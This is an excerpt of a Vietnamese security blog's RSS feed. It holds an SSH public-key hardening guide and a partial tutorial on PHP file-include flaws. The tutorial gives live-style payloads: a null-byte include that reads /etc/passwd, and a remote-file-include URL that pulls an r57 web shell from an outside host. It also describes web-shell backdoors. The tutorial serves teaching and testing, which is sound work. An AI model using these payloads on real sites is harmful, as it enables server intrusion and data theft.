Cú pháp :<br /><p><span style="color: Black; background-color: transparent; font-family: Courier New; font-size: 11px;">ssh-keygen
-t rsa -b 2048 -f /root/.ssh/guru_rsa_key -C <span style="color: rgb(102, 102, 102); background-color: rgb(228, 228, 228); font-family: Courier New; font-size: 11px;">"Guru
Server"</span> -N <span style="color: rgb(102, 102, 102); background-color: rgb(228, 228, 228); font-family: Courier New; font-size: 11px;">"Password"</span></span></p><img src="http://www.guru.net.vn/content/binary/generating_key_ssh.jpg" border="0" /><br />
Các tham số: 
<br />
-t : loại mã hóa<br />
-b : kích thước của khóa<br />
-f : đầu ra của file sinh ra<br />
-C : comment<br />
-N : Khóa phiên (passphrase)<br /><br />
Sau khi tạo xong khóa bạn sẽ nhận được 2 file: <span style="color: Black; background-color: transparent; font-family: Courier New; font-size: 11px;">guru_rsa_key
và </span><span style="color: Black; background-color: transparent; font-family: Courier New; font-size: 11px;">guru_rsa_key.pub</span><br />
Cả 2 file này bạn nên lưu giữ cẩn thận, đặc biệt là file <span style="color: Black; background-color: transparent; font-family: Courier New; font-size: 11px;">guru_rsa_key</span> là
khóa riêng của bạn.<br /><br /><b>2. Thêm khóa công khai vào danh sách khóa cho phép của server</b><br /><br />
Copy file vào thư mục ~/.ssh/ của server. Nếu bạn tạo khóa trên server thì nên xóa
file khóa riêng đi. Nếu bạn tạo từ máy trạm thì chỉ cần upload file khóa công khai
lên thư mục trên của server.<br />
Tiếp theo cần thêm khóa này vào danh sách khóa công khai của server.<br />
File danh sách khóa này là file : ~/.ssh/authorized_keys hoặc ~/.ssh/authentication.<br />
Cú pháp :<br />
echo "KEY" &gt;&gt; ~/.ssh/authorized_keys<br />
cat guru_rsa_key.pub &gt;&gt; ~/.ssh/authorized_keys<br /><br /><b>3. Kích hoạt và sử dụng khóa công khai và khóa riêng</b><br /><br />
Mở file config của ssh thường là : /etc/ssh/sshd_config<br />
Sửa các tham số :<br />
PubkeyAuthentication yes<br /><br />
tắt chức năng đăng nhập từ xa bằng mật khẩu:<br />
PasswordAuthentication no<br /><br />
Khởi động lại sshd hoặc reload lại.<br /><br />
service sshd restart<br />
hoặc<br />
/etc/init.d/sshd restart<br />
/etc/init.d/sshd reload<br /><br />
Lưu ý : nếu bạn đang làm với server remote thì khi reload lại không nên đóng hết các
kết nối, nếu có lỗi bạn sẽ mất các kết nối tư xa (lúc này mà lọ mọ chạy đến chỗ server
thì mệt lắm :D )<br /><br />
Tham khảo :<br /><a href="http://en.wikipedia.org/wiki/Secure_Shell">http://en.wikipedia.org/wiki/Secure_Shell</a><br /><a href="http://www.openssh.com">http://www.openssh.com</a><br /><br />
Goodluck!<p /><img width="0" height="0" src="http://www.guru.net.vn/aggbug.ashx?id=dc3ba880-0fd4-4699-b6a5-fb45ab2e40f1" /><br /><hr />
This weblog is sponsored by <a href="http://www.guru.net.vn">Guru's Blog</a>. 
<xhtml:img xmlns:xhtml="http://www.w3.org/1999/xhtml" src="http://feeds.feedburner.com/~r/phamduchai/~4/wmEAmY7vHwI" height="1" width="1" /></body>
      <title>Bảo mật SSH với chứng thực khóa công khai / khóa riêng</title>
      <guid isPermaLink="false">PermaLink,guid,dc3ba880-0fd4-4699-b6a5-fb45ab2e40f1.aspx</guid>
      <link>http://feedproxy.google.com/~r/phamduchai/~3/wmEAmY7vHwI/PermaLink,guid,dc3ba880-0fd4-4699-b6a5-fb45ab2e40f1.aspx</link>
      <pubDate>Mon, 23 Mar 2009 09:06:48 GMT</pubDate>
      <description>&amp;nbsp;&lt;b&gt;Bảo mật SSH với chứng thực khóa công khai / khóa riêng (Secure SSH with Public/Private
key authentification)&lt;/b&gt;
&lt;br&gt;
&lt;br&gt;
SSH là một công cụ tuyệt vời, không một quản trị hệ thống nào có thể bỏ qua. Sử dụng
SSH bạn có thể kết nối tới máy chủ và làm tất cả mọi việc với no.&lt;br&gt;
Bài viết này tôi tập trung vào việc giới thiệu : làm sao tạo và sử dụng Public/Private
key trong truy cập qua giao thức SSH.&lt;br&gt;
Đây là kỹ thuật khá cơ bản nhưng tỏ ra cực kỳ hiệu quả, mang lại sự an toàn cao đối
với hệ thống của bạn.&lt;br&gt;
Sử dụng Public/Private key authentification bạn có thể tránh được:&lt;br&gt;
- tấn công dò mật khẩu (bruce password scan)&lt;br&gt;
- bảo vệ mật khẩu root&lt;br&gt;
&lt;br&gt;
Trong các bản phân phối hiện nay hầu hết đều được tích hợp sẵn &lt;a href="http://www.openssh.com/"&gt;OpenSSH&lt;/a&gt;.
Phiên bản SSH hiện nay là SSH2. SSH2 khác nhiều so với SSH1 và an toàn hơn. 
&lt;br&gt;
&lt;br&gt;
&lt;b&gt;1. Sinh khóa công khai và khóa riêng (Generating a Public/Private Key Pair)&lt;/b&gt;
&lt;br&gt;
Việc sinh khóa này bạn có thể thực hiện trên máy cá nhân hoặc thực hiện trên máy server.
Có thể dùng công cụ hay dùng chính công cụ sinh khóa của ssh. Điều quan trọng nhất
là : &lt;b&gt;bạn phải giữ bí mật khóa riêng của bạn&lt;/b&gt;. (vì sao thì bạn có thể tìm hiểu
lý thuyết vầ khóa công khai)&lt;br&gt;
Cú pháp :&lt;br&gt;
&lt;p&gt;
&lt;span style="color: Black; background-color: transparent; font-family: Courier New; font-size: 11px;"&gt;ssh-keygen
-t rsa -b 2048 -f /root/.ssh/guru_rsa_key -C &lt;span style="color: rgb(102, 102, 102); background-color: rgb(228, 228, 228); font-family: Courier New; font-size: 11px;"&gt;"Guru
Server"&lt;/span&gt; -N &lt;span style="color: rgb(102, 102, 102); background-color: rgb(228, 228, 228); font-family: Courier New; font-size: 11px;"&gt;"Password"&lt;/span&gt;&lt;/span&gt;
&lt;/p&gt;
&lt;img src="http://www.guru.net.vn/content/binary/generating_key_ssh.jpg" border="0"&gt;
&lt;br&gt;
Các tham số: 
&lt;br&gt;
-t : loại mã hóa&lt;br&gt;
-b : kích thước của khóa&lt;br&gt;
-f : đầu ra của file sinh ra&lt;br&gt;
-C : comment&lt;br&gt;
-N : Khóa phiên (passphrase)&lt;br&gt;
&lt;br&gt;
Sau khi tạo xong khóa bạn sẽ nhận được 2 file: &lt;span style="color: Black; background-color: transparent; font-family: Courier New; font-size: 11px;"&gt;guru_rsa_key
và &lt;/span&gt;&lt;span style="color: Black; background-color: transparent; font-family: Courier New; font-size: 11px;"&gt;guru_rsa_key.pub&lt;/span&gt;
&lt;br&gt;
Cả 2 file này bạn nên lưu giữ cẩn thận, đặc biệt là file &lt;span style="color: Black; background-color: transparent; font-family: Courier New; font-size: 11px;"&gt;guru_rsa_key&lt;/span&gt; là
khóa riêng của bạn.&lt;br&gt;
&lt;br&gt;
&lt;b&gt;2. Thêm khóa công khai vào danh sách khóa cho phép của server&lt;/b&gt;
&lt;br&gt;
&lt;br&gt;
Copy file vào thư mục ~/.ssh/ của server. Nếu bạn tạo khóa trên server thì nên xóa
file khóa riêng đi. Nếu bạn tạo từ máy trạm thì chỉ cần upload file khóa công khai
lên thư mục trên của server.&lt;br&gt;
Tiếp theo cần thêm khóa này vào danh sách khóa công khai của server.&lt;br&gt;
File danh sách khóa này là file : ~/.ssh/authorized_keys hoặc ~/.ssh/authentication.&lt;br&gt;
Cú pháp :&lt;br&gt;
echo "KEY" &amp;gt;&amp;gt; ~/.ssh/authorized_keys&lt;br&gt;
cat guru_rsa_key.pub &amp;gt;&amp;gt; ~/.ssh/authorized_keys&lt;br&gt;
&lt;br&gt;
&lt;b&gt;3. Kích hoạt và sử dụng khóa công khai và khóa riêng&lt;/b&gt;
&lt;br&gt;
&lt;br&gt;
Mở file config của ssh thường là : /etc/ssh/sshd_config&lt;br&gt;
Sửa các tham số :&lt;br&gt;
PubkeyAuthentication yes&lt;br&gt;
&lt;br&gt;
tắt chức năng đăng nhập từ xa bằng mật khẩu:&lt;br&gt;
PasswordAuthentication no&lt;br&gt;
&lt;br&gt;
Khởi động lại sshd hoặc reload lại.&lt;br&gt;
&lt;br&gt;
service sshd restart&lt;br&gt;
hoặc&lt;br&gt;
/etc/init.d/sshd restart&lt;br&gt;
/etc/init.d/sshd reload&lt;br&gt;
&lt;br&gt;
Lưu ý : nếu bạn đang làm với server remote thì khi reload lại không nên đóng hết các
kết nối, nếu có lỗi bạn sẽ mất các kết nối tư xa (lúc này mà lọ mọ chạy đến chỗ server
thì mệt lắm :D )&lt;br&gt;
&lt;br&gt;
Tham khảo :&lt;br&gt;
&lt;a href="http://en.wikipedia.org/wiki/Secure_Shell"&gt;http://en.wikipedia.org/wiki/Secure_Shell&lt;/a&gt;
&lt;br&gt;
&lt;a href="http://www.openssh.com"&gt;http://www.openssh.com&lt;/a&gt;
&lt;br&gt;
&lt;br&gt;
Goodluck!&lt;p&gt;
&lt;/p&gt;
&lt;img width="0" height="0" src="http://www.guru.net.vn/aggbug.ashx?id=dc3ba880-0fd4-4699-b6a5-fb45ab2e40f1" /&gt;
&lt;br /&gt;
&lt;hr /&gt;
This weblog is sponsored by &lt;a href="http://www.guru.net.vn"&gt;Guru's Blog&lt;/a&gt;. </description>
      <comments>CommentView,guid,dc3ba880-0fd4-4699-b6a5-fb45ab2e40f1.aspx</comments>
      <category>Bảo mật</category>
      <category>Linux</category>
    <feedburner:origLink>http://www.guru.net.vn/PermaLink,guid,dc3ba880-0fd4-4699-b6a5-fb45ab2e40f1.aspx</feedburner:origLink></item>
    <item>
      <trackback:ping>http://www.guru.net.vn/Trackback.aspx?guid=1924e061-6881-453d-a841-5ec94c00591f</trackback:ping>
      <pingback:server>http://www.guru.net.vn/pingback.aspx</pingback:server>
      <pingback:target>PermaLink,guid,1924e061-6881-453d-a841-5ec94c00591f.aspx</pingback:target>
      <dc:creator>Phạm Đức Hải</dc:creator>
      <wfw:comment>CommentView,guid,1924e061-6881-453d-a841-5ec94c00591f.aspx</wfw:comment>
      <wfw:commentRss>http://www.guru.net.vn/SyndicationService.asmx/GetEntryCommentsRss?guid=1924e061-6881-453d-a841-5ec94c00591f</wfw:commentRss>
      <slash:comments>3</slash:comments>
      <body xmlns="http://www.w3.org/1999/xhtml">
        <p>
          <span style="font-family: 'Times New Roman'; font-size: 16px;" class="Apple-style-span">
            <div style="margin: 0px; padding: 0px; min-height: 1100px; counter-reset: __goog_page__ 0; font-family: 'Times New Roman'; font-size: 12pt; line-height: normal; background-color: rgb(255, 255, 255); direction: inherit;">
              <div id="doc-contents" style="margin: 6px; direction: inherit;">
                <p style="margin: 0px; direction: inherit;" class="western">
                  <span style="white-space: pre;" class="Apple-tab-span">
                  </span>Trong vấn đề bảo mật
web, kiểu khai thác lỗi File Include là một trong những lỗi nguy hiểm nhất. Lỗi này
đã được biết đến từ lâu song hiện nay vẫn cực kỳ phổ biến. Vậy lỗi này như thế nào
? Vì sao bị lỗi ? Cách khai thác và phòng chống ra sao ?
</p>
                <p style="margin: 0px; direction: inherit;" class="western">
                  <font face="Times New Roman, serif">Kiến thức bạn nên trang bị để hiểu bài này sâu
hơn:</font>
                </p>
                <ul style="margin-top: 0px; margin-bottom: 0px;">
                  <li style="margin-top: 0px; margin-bottom: 0px;">
                    <p style="margin: 0px; direction: inherit;">
                      <font face="Times New Roman, serif">Lập trình PHP</font>
                    </p>
                  </li>
                  <li style="margin-top: 0px; margin-bottom: 0px;">
                    <p style="margin: 0px; direction: inherit;">
                      <font face="Times New Roman, serif">Cơ bản về Apache</font>
                    </p>
                  </li>
                  <li style="margin-top: 0px; margin-bottom: 0px;">
                    <p style="margin: 0px; direction: inherit;">
                      <font face="Times New Roman, serif">Cơ bản về Linux</font>
                    </p>
                  </li>
                </ul>
                <p style="margin: 0px; direction: inherit;" class="western">
                  <font face="Times New Roman, serif">Include theo tiếng Việt tạm dịch là bao gồm. Trong
lập trình PHP có lệnh là include, require, require _ once, include _ once cho phép
file hiện tại gọi đến một file khác.</font>
                </p>
                <p style="margin: 0px; direction: inherit;" class="western">
                  <font face="Times New Roman, serif">Tùy thuộc vào mức độ bảo mật của server, kẻ tấn
công có thể include file trên chính máy chủ đó (include local) hay include đến một
file ở máy khác (include remote). Mục đích của kẻ tấn công là chạy được các hàm hệ
thống và thu thập các thông tin nhạy cảm của hệ thống. Tất cả công việc trên kẻ tấn
công có thể đạt được khi chạy được web shell (hay còn gọi là web hack tool) như c99shell,
r57shell, …</font>
                </p>
                <p style="margin: 0px; direction: inherit;" class="western">
                  <font face="Times New Roman, serif">Kẻ tấn công có web shell trong tay sẽ đọc được
tất cả các file trong website đang chạy shell đó. Nếu server kém bảo mật thì kẻ tấn
công có thể đọc được file của toàn bộ hệ thống, file của các website khác trên cùng
máy chủ đó. Lỗi này hay được tấn dụng để tấn công </font>
                  <font color="#0000ff">
                    <u>
                      <a href="PermaLink,guid,67aabdc3-59b9-4bd0-bf80-c2770a003a9c.aspx">
                        <font face="Times New Roman, serif">local
hack</font>
                      </a>
                    </u>
                  </font>
                  <font face="Times New Roman, serif"> : kiểu tấn công
máy chủ, website qua một site bị lỗi trên máy chủ. Nếu có quyền ghi, tất cả các file
có thể bị thay đổi: deface trang chủ, chèn mã độc để thu thập thông tin đăng nhập,
ẩn dấu backdoor để lần sau vào tiếp,… Kẻ tấn công cũng có thể lấy thông tin truy nhập
cơ sở dữ liệu (database) qua file cấu hình của website, sau đó truy nhập vào cơ sở
dữ liệu : ăn trộm dữ liệu, xóa, thay đổi dữ liệu,… Trong trường hợp này, cơ sở dữ
liệu là MySql cho phép sử dụng hàm loadfile, thì kẻ tấn công có thể tận dụng để đọc
file từ hệ thống và file của các site khác qua MySql bằng lệnh LOAD DATA LOCAL INFILE.</font>
                </p>
                <p style="margin: 0px; direction: inherit;" class="western">
                  <font face="Times New Roman, serif">Ví dụ đoạn mã PHP include file:</font>
                </p>
                <p style="margin: 0px; direction: inherit;" class="western">
                  <font face="Times New Roman, serif">&lt;?php</font>
                </p>
                <p style="margin: 0px; direction: inherit;" class="western">
…
</p>
                <p style="margin: 0px; direction: inherit;" class="western">
                  <font face="Times New Roman, serif">include("config.php");</font>
                </p>
                <p style="margin: 0px; direction: inherit;" class="western">
…
</p>
                <p style="margin: 0px; direction: inherit;" class="western">
                  <font face="Times New Roman, serif">?&gt;</font>
                </p>
                <p style="margin: 0px; direction: inherit;" class="western">
                  <font face="Times New Roman, serif">Khi khai thác kẻ tấn công có thể include trực
tiếp như trên hoặc có thể include một cách mềm dẻo như sau:</font>
                </p>
                <p style="margin: 0px; direction: inherit;" class="western">
 
</p>
                <p style="margin: 0px; direction: inherit;" class="western">
                  <font face="Times New Roman, serif">&lt;?php</font>
                </p>
                <p style="margin: 0px; direction: inherit;" class="western">
                  <font face="Times New Roman, serif">include($page);</font>
                </p>
                <p style="margin: 0px; direction: inherit;" class="western">
                  <font face="Times New Roman, serif">?&gt;</font>
                </p>
                <p style="margin: 0px; direction: inherit;" class="western">
                  <font face="Times New Roman, serif">Khi đó nếu tham số <strong>register_globals</strong> trong
file php.ini được đặt On thì biến $page sẽ là biến toàn cục, có thể gọi đến nó từ
bất kì trang nào.</font>
                </p>
                <p style="margin: 0px; direction: inherit;" class="western">
                  <font face="Times New Roman, serif">Nếu biến $page được sử dụng như sau: $ _ GET['page'],
$ _ POST['page'], $ _ REQUEST['page'] hoặc $_COOKIE['page']</font>
                </p>
                <p style="margin: 0px; direction: inherit;" class="western">
                  <font face="Times New Roman, serif">Khi đó $page sẽ có thể được gọi từ trình duyệt
để include hoặc đọc file.</font>
                </p>
                <p style="margin: 0px; direction: inherit;" class="western">
                  <font face="Times New Roman, serif">Ví dụ đọc file test.html : index.php?page = test.html</font>
                </p>
                <p style="margin: 0px; direction: inherit;" class="western">
                  <img src="http://docs.google.com/File?id=dg34rcvn_118r8jqntg3_b" name="remote file include" width="650" align="bottom" border="0" height="624" />
                </p>
                <p style="margin: 0px; direction: inherit;" class="western" align="center">
                  <font face="Times New Roman, serif">
                    <em>
                      <strong>Hình 1. Include file từ server khác</strong>
                    </em>
                  </font>
                </p>
                <p style="margin: 0px; direction: inherit;" class="western" align="center">
 
</p>
                <p style="margin: 0px; direction: inherit;" class="western">
                  <font face="Times New Roman, serif">Hình ảnh dưới đây minh họa việc đọc file boot.ini
trên máy chủ windows thông qua biến <em>script</em>.</font>
                </p>
                <p style="margin: 0px; direction: inherit;" class="western">
                  <img src="http://docs.google.com/File?id=dg34rcvn_119gm76rwfb_b" name="readfile" width="650" align="bottom" border="0" height="487" />
                </p>
                <p style="margin: 0px; direction: inherit;" class="western" align="center">
                  <strong>
                    <em>
                      <font face="Times New Roman, serif">Hình 2. Include file từ server chủ</font>
                    </em>
                  </strong>
                </p>
                <p style="margin: 0px; direction: inherit;" class="western">
 
</p>
                <p style="margin: 0px; direction: inherit;" class="western">
                  <font face="Times New Roman, serif">Các hàm có thể tận dung để khai thác include,
require, require _ once, include _ once. Về cơ bản require và include giống nhau,
chỉ có một điểm khác là nếu file không tồn tại thì có lỗi fatal-error và script dừng
lại,không chạy tiếp.</font>
                </p>
                <p style="margin: 0px; direction: inherit;" class="western">
                  <font face="Times New Roman, serif">
                    <font size="4">
                      <strong>Cách tìm lỗ hồng file includesion</strong>
                    </font>
                  </font>
                </p>
                <p style="margin: 0px; direction: inherit;" class="western">
                  <font face="Times New Roman, serif">Có 2 phương pháp để tìm ra lỗi này : kiểm thử
hộp đen (Black- Box Testing) và kiểm thử hộp trắng (White-Box Testing).</font>
                </p>
                <p style="margin: 0px; direction: inherit;" class="western">
 
</p>
                <p style="margin: 0px; direction: inherit;" class="western">
                  <font face="Times New Roman, serif">
                    <strong>Kiểm thử hộp trắng</strong>
                  </font>
                </p>
                <p style="margin: 0px; direction: inherit;" class="western">
                  <font face="Times New Roman, serif">Khi bạn có thể xem toàn bộ source code, áp dụng
đối với phần mềm của bạn viết, phần mềm mã mở, phần mềm ai nhờ bạn test hộ,… Có thể
có các chương trình để quét code hoặc bạn cũng có thể tự viết một đoạn mã làm việc
này, thủ công nhất là tự dò bằng các trình soạn thảo thông dụng. Tìm các dòng có cú
pháp tương tự như <em>include($page)</em> , điểm lưu ý là biến <em>$page</em> phải
chưa được khởi tạo hoặc gán giá trị thì mới có lỗ hổng include file.</font>
                </p>
                <p style="margin: 0px; direction: inherit;" class="western">
                  <font face="Times New Roman, serif">Một vài hình ảnh về shell c99, r57 (2 tool phổ
biến nhất khi hack web với PHP):</font>
                </p>
                <p style="margin: 0px; direction: inherit;" class="western">
                  <img src="http://docs.google.com/File?id=dg34rcvn_120cmrfw3dn_b" name="c99shell_16" width="650" align="bottom" border="0" height="624" />
                </p>
                <p style="margin: 0px; direction: inherit;" class="western" align="center">
                  <strong>
                    <em>
                      <font face="Times New Roman, serif">Hình 3 . Hình ảnh hack tool shell
c99</font>
                    </em>
                  </strong>
                </p>
                <p style="margin: 0px; direction: inherit;" class="western">
                  <img src="http://docs.google.com/File?id=dg34rcvn_121hhvb84gq_b" name="r57shell_135" width="650" align="bottom" border="0" height="624" />
                </p>
                <p style="margin: 0px; direction: inherit;" class="western" align="center">
                  <strong>
                    <em>
                      <font face="Times New Roman, serif">Hình 4. Hình ảnh hack tool shell r57</font>
                    </em>
                  </strong>
                </p>
                <p style="margin: 0px; direction: inherit;" class="western">
                  <font face="Times New Roman, serif">Ở 2 hình trên có thể thấy server chưa có bất kỳ
một cấu hình bảo mật nào do đó qua web shell có thể truy nhập đến bất kỳ phần nào
của hệ thống, thậm chí chạy được các lệnh hệ thống, hay mở các cổng để truy nhập từ
xa vào hệ thống. Ví dụ mở cổng 2009 và telnet từ xa vào.</font>
                </p>
                <p style="margin: 0px; direction: inherit;" class="western">
                  <img src="http://docs.google.com/File?id=dg34rcvn_122hcd3bjc5_b" name="bind_port" width="312" align="bottom" border="0" height="157" />
                </p>
                <p style="margin: 0px; direction: inherit;" class="western" align="center">
                  <strong>
                    <em>
                      <font face="Times New Roman, serif">Hình 5. Công cụ bind port của r57</font>
                    </em>
                  </strong>
                </p>
                <p style="margin: 0px; direction: inherit;" class="western">
                  <img src="http://docs.google.com/File?id=dg34rcvn_123g4rqbtcm_b" name="bind_port2" width="650" align="bottom" border="0" height="321" />
                </p>
                <p style="margin: 0px; direction: inherit;" class="western" align="center">
                  <strong>
                    <em>
                      <font face="Times New Roman, serif">Hình 6. Kết nối vào sau khi bind port</font>
                    </em>
                  </strong>
                </p>
                <p style="margin: 0px; direction: inherit;" class="western">
 
</p>
                <p style="margin: 0px; direction: inherit;" class="western">
                  <strong>
                    <font face="Times New Roman, serif">Kiểm thử hộp đen</font>
                  </strong>
                </p>
                <p style="margin: 0px; direction: inherit;" class="western">
                  <font face="Times New Roman, serif">Kiểm thử hộp đen sử dụng khi bạn không có mã nguồn
của mục tiêu, cũng hoàn toàn giống như khi attacker tấn công một hệ thống nào đó,
chỉ có thể nhìn từ bên ngoài, đó cũng là lý do vì sao được gọi là hộp đen.</font>
                </p>
                <p style="margin: 0px; direction: inherit;" class="western">
                  <font face="Times New Roman, serif">Phương pháp là thử các dữ liệu đầu vào, bất kỳ
dữ liệu nào, khi ứng dụng bắn ra lỗi là bạn có thêm thông tin. Để có thể tìm ra lỗi
thì có thể kiểm thử bằng công cụ quét, kiểm thử “bằng tay”. Theo kinh nghiệp của tôi,
đối với lỗi này các chương trình quét tỏ ra rất kém hiệu quả, với người có kinh nghiệm
thì lỗi này đôi khi chỉ cần lướt qua website một vài lần cũng có thể nhận thấy được.</font>
                </p>
                <p style="margin: 0px; direction: inherit;" class="western">
                  <font face="Times New Roman, serif">Ví dụ bạn thấy có các link dạng: </font>
                  <font color="#0000ff">
                    <u>
                      <a href="http://www.example.com/index.php?page=downloads.html">
                        <font face="Times New Roman, serif">www.example.com/index.php?page=downloads.html</font>
                      </a>
                    </u>
                  </font>
                  <font face="Times New Roman, serif"> như
vậy sẽ rất có khả năng là biến page có lỗi inlcude file, bạn cần thử cụ thể hơn bằng
cách đọc thử các file khác.</font>
                </p>
                <p style="margin: 0px; direction: inherit;" class="western">
                  <img src="http://docs.google.com/File?id=dg34rcvn_124cmbswcg6_b" name="read passwd file" width="641" align="bottom" border="0" height="609" />
                </p>
                <p style="margin: 0px; direction: inherit;" class="western" align="center">
                  <strong>
                    <em>
                      <font face="Times New Roman, serif">Hình 6. Đọc file /etc/passwd qua lỗi
include</font>
                    </em>
                  </strong>
                </p>
                <p style="margin: 0px; direction: inherit;" class="western">
                  <font face="Times New Roman, serif">Ví dụ : </font>
                  <font color="#0000ff">
                    <u>
                      <a href="http://www.example.com/index.php?page=otherfile.html">
                        <font face="Times New Roman, serif">www.example.com/index.php?page=otherfile.html</font>
                      </a>
                    </u>
                  </font>
                  <font face="Times New Roman, serif"> ,...
nếu nhận được lỗi</font>
                </p>
                <p style="margin: 0px; direction: inherit;" class="western">
                  <font face="Times New Roman, serif">
                    <em>Warning:</em>
                  </font>
                </p>
                <p style="margin: 0px; direction: inherit;" class="western">
                  <font face="Times New Roman, serif">
                    <em>include(otherfile.html) [function.include]:
failed to open stream: No such file or directory in /home/site/public_html/ index.php
on line x.</em>
                  </font>
                </p>
                <p style="margin: 0px; direction: inherit;" class="western">
                  <font face="Times New Roman, serif">Thì có nghĩa là file đó không tồn tại.</font>
                </p>
                <p style="margin: 0px; direction: inherit;" class="western">
                  <font face="Times New Roman, serif">Một trong các file có thể dùng để kiểm tra và
có thêm thông tin là robots.txt.</font>
                </p>
                <p style="margin: 0px; direction: inherit;" class="western">
                  <img src="http://docs.google.com/File?id=dg34rcvn_125grbscggz_b" name="graphics1" width="650" align="bottom" border="0" height="163" />
                </p>
                <p style="margin: 0px; direction: inherit;" class="western" align="center">
                  <strong>
                    <em>
                      <font face="Times New Roman, serif">Hình 7. Đọc file qua lỗi include</font>
                    </em>
                  </strong>
                </p>
                <p style="margin: 0px; direction: inherit;" class="western">
 
</p>
                <p style="margin: 0px; direction: inherit;" class="western">
 
</p>
                <div id="doc-contents">
                  <p style="margin-bottom: 0.14in;" class="western">
                    <font face="Times New Roman, serif">
                      <strong>Tìm lỗi qua các máy tìm kiếm</strong>
                    </font>
                  </p>
                  <ul>
                    <li>
                      <p style="margin-bottom: 0.14in;">
                        <font face="Times New Roman, serif">Có thể trực tiếp tìm thông tin về lỗi của mục
tiêu qua các trang tìm kiếm hay qua các trang thông báo lỗi như </font>
                        <font color="#0000ff">
                          <u>
                            <a href="http://www.milw0rm.com/">
                              <font face="Times New Roman, serif">http://www.milw0rm.com</font>
                            </a>
                          </u>
                        </font>
                        <font face="Times New Roman, serif"> nếu
đã biết tên phần mềm trang web mục tiêu dùng.</font>
                      </p>
                    </li>
                  </ul>
                  <p style="margin-left: 0.5in; margin-bottom: 0.14in;">
                    <img src="http://docs.google.com/File?id=dg34rcvn_127f7pz4scw_b" name="milw0rm" width="650" align="bottom" border="0" height="745" />
                  </p>
                  <p style="margin-bottom: 0.14in;" class="western" align="center">
                    <strong>
                      <em>
                        <font face="Times New Roman, serif">Hình 8. Trang milw0rm.com</font>
                      </em>
                    </strong>
                  </p>
                  <p style="margin-left: 0.5in; margin-bottom: 0.14in;">
                    <br />
                    <br />
                  </p>
                  <ul>
                    <li>
                      <p style="margin-bottom: 0.14in;">
                        <font face="Times New Roman, serif">Dùng Google CodeSearch</font>
                      </p>
                    </li>
                  </ul>
                  <p style="margin-left: 0.5in; margin-bottom: 0.14in;">
                    <font face="Times New Roman, serif">Cú pháp : lang:php (include|require)(_once)?\s*['"(]?\s*\$_(GET|POST|COOKIE)</font>
                  </p>
                  <p style="margin-bottom: 0.14in;" class="western">
                    <img src="http://docs.google.com/File?id=dg34rcvn_128hknpskf7_b" name="graphics1" width="518" align="bottom" border="0" height="522" />
                  </p>
                  <p style="margin-bottom: 0.14in;" class="western" align="center">
                    <strong>
                      <em>
                        <font face="Times New Roman, serif">Hình 9. Tìm lỗi qua Google Code Search</font>
                      </em>
                    </strong>
                  </p>
                  <p style="margin-bottom: 0.14in;" class="western">
                    <font face="Times New Roman, serif">
                      <strong>Null-Byte</strong>
                    </font>
                  </p>
                  <p style="margin-bottom: 0.14in;" class="western">
                    <font face="Times New Roman, serif">Trong một số trường hợp include được dùng như
sau:</font>
                  </p>
                  <p style="margin-bottom: 0.14in;" class="western">
                    <font face="Times New Roman, serif">include($page.".html");</font>
                  </p>
                  <p style="margin-bottom: 0.14in;" class="western">
                    <font face="Times New Roman, serif">Khi đó chỉ các file .html mới được include, vậy
làm sao để đọc được file khác?</font>
                  </p>
                  <p style="margin-bottom: 0.14in;" class="western">
                    <font face="Times New Roman, serif">Null-byte sẽ cho phép đọc file khác bằng cách
thêm null byte vào cuối file cần đọc.</font>
                  </p>
                  <p style="margin-bottom: 0.14in;" class="western">
                    <font face="Times New Roman, serif">Đọc file /etc/passwd</font>
                  </p>
                  <p style="margin-bottom: 0.14in;" class="western">
 <font face="Times New Roman, serif"><em>index.php?page =/ etc/passwd%00</em></font></p>
                  <p style="margin-bottom: 0.14in;" class="western">
                    <font face="Times New Roman, serif">Khi đó <em>include("/etc/passwd.html")</em>; trở
thành <em>include("/etc/ passwd");</em></font>
                  </p>
                  <p style="margin-bottom: 0.14in;" class="western">
                    <font face="Times New Roman, serif">Tuy nhiên không phải lúc nào nul-bite cũng có
tác dụng, tùy thuộc webserver, code,…</font>
                  </p>
                  <p style="margin-bottom: 0.14in;" class="western">
                    <br />
                    <br />
                  </p>
                  <p style="margin-bottom: 0.14in;" class="western">
                    <font face="Times New Roman, serif">
                      <font size="4">
                        <strong>Khai thác lỗ hổng (Exploiting)</strong>
                      </font>
                    </font>
                  </p>
                  <p style="margin-bottom: 0.14in;" class="western">
                    <font face="Times New Roman, serif">Khi phát hiện ra lỗi làm sao có thể khai thác
được? Phần trên phần nào bạn cũng đã nhận thấy một số cách khai thác. Về cơ bản có
hai kiểu khai thác là inclde file từ máy chủ khác (RFI – Remote file include), include
file từ chính máy chủ lỗi (LFI – Local file include).</font>
                  </p>
                  <p style="margin-bottom: 0.14in;" class="western">
                    <strong>
                      <font face="Times New Roman, serif">Remote file include (RFI)</font>
                    </strong>
                  </p>
                  <p style="margin-bottom: 0.14in;" class="western">
                    <font face="Times New Roman, serif">Khi bị lỗi này tức là tham số register_globals=On,
với lỗi này người không cần có nhiều kiến thức về lập trình cũng dễ dàng khai thác
được thông tin. Kẻ tấn công chỉ cần đặt file web hack tool trên một máy chủ nào đó
(thường là host miễn phí) và include qua lỗi.</font>
                  </p>
                  <p style="margin-bottom: 0.14in;" class="western">
                    <font color="#0000ff">
                      <u>
                        <a href="http://lab.vnsecurity.vn/index.php?page=http://remote.vnsecurity.vn/r57.txt">http://lab.vnsecurity.vn/index.php?page=http://remote.vnsecurity.vn/r57.txt</a>
                      </u>
                    </font>
                  </p>
                  <p style="margin-bottom: 0.14in;" class="western">
                    <font face="Times New Roman, serif">File được include vào là file r57.txt từ host
remote.vnsecurity.vn. Kết quả </font>
                    <font face="Wingdings"></font>
                    <font face="Times New Roman, serif"> tham
khảo hình 1.</font>
                  </p>
                  <p style="margin-bottom: 0.14in;" class="western">
                    <strong>
                      <font face="Times New Roman, serif">Local file include (LFI)</font>
                    </strong>
                  </p>
                  <p style="margin-bottom: 0.14in;" class="western">
                    <font face="Times New Roman, serif">Nếu tham số <em>allow_url_fopen</em> trong file
php.ini đặt là Off thì sẽ không thể thực hiện include file từ máy chủ khác. Khi đó
chỉ khai thác được dạng include trên cùng máy chủ, cũng tùy cấu hình server an toàn
hay không mà attacker có thể đọc được file ngoài thư mục của website có lỗi. Khi đó
để có thể khai thác tốt cần có một web shell trên máy chủ, làm sao để có được web
shell? Có thể có nhiều cách nhưng đòi hỏi người khai thác phải có kinh nghiệm và hiểu
biết về PHP, apache, Linux. (Trên Windows cũng tương tự nhưng có một số điểm khác,
tôi không trình bày ở tài liệu này).</font>
                  </p>
